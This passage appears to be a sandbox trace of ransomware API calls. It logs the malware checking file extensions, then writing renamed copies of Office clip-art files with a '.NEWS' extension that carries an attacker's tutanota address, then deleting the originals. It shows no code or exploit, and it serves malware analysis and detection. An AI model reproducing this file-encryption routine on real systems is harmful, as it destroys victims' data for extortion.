(lpString1=".xls", lpString2=".WMF") returned 1 [0094.049] lstrlenW (lpString=".xlsx") returned 5 [0094.049] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0094.049] lstrlenW (lpString=".ppt") returned 4 [0094.049] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0094.049] lstrlenW (lpString=".zip") returned 4 [0094.049] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.049] lstrlenW (lpString=".rar") returned 4 [0094.049] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.049] lstrlenW (lpString=".bz2") returned 4 [0094.049] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.049] lstrlenW (lpString=".7z") returned 3 [0094.049] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0094.049] lstrlenW (lpString=".dbf") returned 4 [0094.049] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0094.049] lstrlenW (lpString=".1cd") returned 4 [0094.049] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0094.049] lstrlenW (lpString=".jpg") returned 4 [0094.049] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0094.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0094.050] lstrlenW (lpString=".doc") returned 4 [0094.050] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.050] lstrlenW (lpString=".docx") returned 5 [0094.050] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0094.050] lstrlenW (lpString=".pdf") returned 4 [0094.050] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.050] lstrlenW (lpString=".xls") returned 4 [0094.050] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.050] lstrlenW (lpString=".xlsx") returned 5 [0094.050] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0094.050] lstrlenW (lpString=".ppt") returned 4 [0094.050] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0094.050] lstrlenW (lpString=".zip") returned 4 [0094.050] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.050] lstrlenW (lpString=".rar") returned 4 [0094.050] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.050] lstrlenW (lpString=".bz2") returned 4 [0094.050] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.050] lstrlenW (lpString=".7z") returned 3 [0094.050] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0094.050] lstrlenW (lpString=".dbf") returned 4 [0094.050] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0094.050] lstrlenW (lpString=".1cd") returned 4 [0094.050] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0094.050] lstrlenW (lpString=".jpg") returned 4 [0094.050] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.050] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0094.050] lstrlenW (lpString="J0105398.WMF") returned 12 [0094.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0094.051] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=3328) returned 1 [0094.051] CloseHandle (hObject=0x398) returned 1 [0094.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf")) returned 0x220 [0094.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0094.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0094.051] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0094.051] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0094.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0094.052] GetLastError () returned 0x0 [0094.052] ReadFile (in: hFile=0x398, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0xd00, lpOverlapped=0x0) returned 1 [0094.053] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xd10, lpOverlapped=0x0) returned 1 [0094.054] ReadFile (in: hFile=0x398, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0094.054] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0094.054] SetEndOfFile (hFile=0x37c) returned 1 [0094.054] CloseHandle (hObject=0x37c) returned 1 [0094.055] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0094.055] SetEndOfFile (hFile=0x398) returned 1 [0094.055] CloseHandle (hObject=0x398) returned 1 [0094.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0094.056] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf")) returned 1 [0094.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0094.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0094.056] lstrlenW (lpString=".doc") returned 4 [0094.056] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.056] lstrlenW (lpString=".docx") returned 5 [0094.056] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0094.056] lstrlenW (lpString=".pdf") returned 4 [0094.056] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.056] lstrlenW (lpString=".xls") returned 4 [0094.056] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.056] lstrlenW (lpString=".xlsx") returned 5 [0094.056] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0094.056] lstrlenW (lpString=".ppt") returned 4 [0094.056] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0094.056] lstrlenW (lpString=".zip") returned 4 [0094.056] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.056] lstrlenW (lpString=".rar") returned 4 [0094.056] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.056] lstrlenW (lpString=".bz2") returned 4 [0094.056] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.056] lstrlenW (lpString=".7z") returned 3 [0094.056] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0094.056] lstrlenW (lpString=".dbf") returned 4 [0094.056] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0094.057] lstrlenW (lpString=".1cd") returned 4 [0094.057] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0094.057] lstrlenW (lpString=".jpg") returned 4 [0094.057] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0094.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0094.089] lstrlenW (lpString=".doc") returned 4 [0094.089] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.089] lstrlenW (lpString=".docx") returned 5 [0094.089] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0094.089] lstrlenW (lpString=".pdf") returned 4 [0094.089] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.089] lstrlenW (lpString=".xls") returned 4 [0094.089] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.089] lstrlenW (lpString=".xlsx") returned 5 [0094.089] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0094.089] lstrlenW (lpString=".ppt") returned 4 [0094.089] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0094.089] lstrlenW (lpString=".zip") returned 4 [0094.089] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.089] lstrlenW (lpString=".rar") returned 4 [0094.089] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.089] lstrlenW (lpString=".bz2") returned 4 [0094.089] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.089] lstrlenW (lpString=".7z") returned 3 [0094.089] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0094.089] lstrlenW (lpString=".dbf") returned 4 [0094.089] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0094.089] lstrlenW (lpString=".1cd") returned 4 [0094.089] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0094.089] lstrlenW (lpString=".jpg") returned 4 [0094.089] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.090] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0094.090] lstrlenW (lpString="J0105410.WMF") returned 12 [0094.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0094.090] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=20444) returned 1 [0094.091] CloseHandle (hObject=0x398) returned 1 [0094.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf")) returned 0x220 [0094.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0094.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0094.091] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0094.091] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0094.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0094.092] GetLastError () returned 0x0 [0094.092] ReadFile (in: hFile=0x398, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x4fdc, lpOverlapped=0x0) returned 1 [0094.093] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x4fe0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x4fe0, lpOverlapped=0x0) returned 1 [0094.095] ReadFile (in: hFile=0x398, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0094.095] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0094.095] SetEndOfFile (hFile=0x37c) returned 1 [0094.095] CloseHandle (hObject=0x37c) returned 1 [0094.095] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0094.095] SetEndOfFile (hFile=0x398) returned 1 [0094.099] CloseHandle (hObject=0x398) returned 1 [0094.099] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0094.099] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf")) returned 1 [0094.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0094.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0094.100] lstrlenW (lpString=".doc") returned 4 [0094.100] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.100] lstrlenW (lpString=".docx") returned 5 [0094.100] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0094.100] lstrlenW (lpString=".pdf") returned 4 [0094.100] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.100] lstrlenW (lpString=".xls") returned 4 [0094.100] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.100] lstrlenW (lpString=".xlsx") returned 5 [0094.100] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0094.100] lstrlenW (lpString=".ppt") returned 4 [0094.100] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0094.100] lstrlenW (lpString=".zip") returned 4 [0094.100] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.100] lstrlenW (lpString=".rar") returned 4 [0094.100] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.100] lstrlenW (lpString=".bz2") returned 4 [0094.100] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.100] lstrlenW (lpString=".7z") returned 3 [0094.100] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0094.100] lstrlenW (lpString=".dbf") returned 4 [0094.100] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0094.100] lstrlenW (lpString=".1cd") returned 4 [0094.100] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0094.100] lstrlenW (lpString=".jpg") returned 4 [0094.100] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0094.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0094.100] lstrlenW (lpString=".doc") returned 4 [0094.101] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.101] lstrlenW (lpString=".docx") returned 5 [0094.101] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0094.101] lstrlenW (lpString=".pdf") returned 4 [0094.101] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.101] lstrlenW (lpString=".xls") returned 4 [0094.101] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.101] lstrlenW (lpString=".xlsx") returned 5 [0094.101] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0094.101] lstrlenW (lpString=".ppt") returned 4 [0094.101] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0094.101] lstrlenW (lpString=".zip") returned 4 [0094.101] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.101] lstrlenW (lpString=".rar") returned 4 [0094.101] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.101] lstrlenW (lpString=".bz2") returned 4 [0094.101] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.101] lstrlenW (lpString=".7z") returned 3 [0094.101] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0094.101] lstrlenW (lpString=".dbf") returned 4 [0094.101] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0094.101] lstrlenW (lpString=".1cd") returned 4 [0094.101] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0094.101] lstrlenW (lpString=".jpg") returned 4 [0094.101] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.101] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0094.101] lstrlenW (lpString="J0105412.WMF") returned 12 [0094.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0094.102] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=9400) returned 1 [0094.103] CloseHandle (hObject=0x398) returned 1 [0094.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf")) returned 0x220 [0094.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0094.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0094.103] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0094.103] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0094.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0094.103] GetLastError () returned 0x0 [0094.104] ReadFile (in: hFile=0x398, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x24b8, lpOverlapped=0x0) returned 1 [0094.105] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x24c0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x24c0, lpOverlapped=0x0) returned 1 [0094.106] ReadFile (in: hFile=0x398, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0094.106] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0094.106] SetEndOfFile (hFile=0x37c) returned 1 [0094.107] CloseHandle (hObject=0x37c) returned 1 [0094.107] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0094.107] SetEndOfFile (hFile=0x398) returned 1 [0094.108] CloseHandle (hObject=0x398) returned 1 [0094.108] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0094.108] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf")) returned 1 [0094.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0094.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0094.108] lstrlenW (lpString=".doc") returned 4 [0094.108] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.108] lstrlenW (lpString=".docx") returned 5 [0094.108] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0094.108] lstrlenW (lpString=".pdf") returned 4 [0094.108] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.108] lstrlenW (lpString=".xls") returned 4 [0094.108] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.108] lstrlenW (lpString=".xlsx") returned 5 [0094.108] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0094.108] lstrlenW (lpString=".ppt") returned 4 [0094.108] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0094.108] lstrlenW (lpString=".zip") returned 4 [0094.108] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 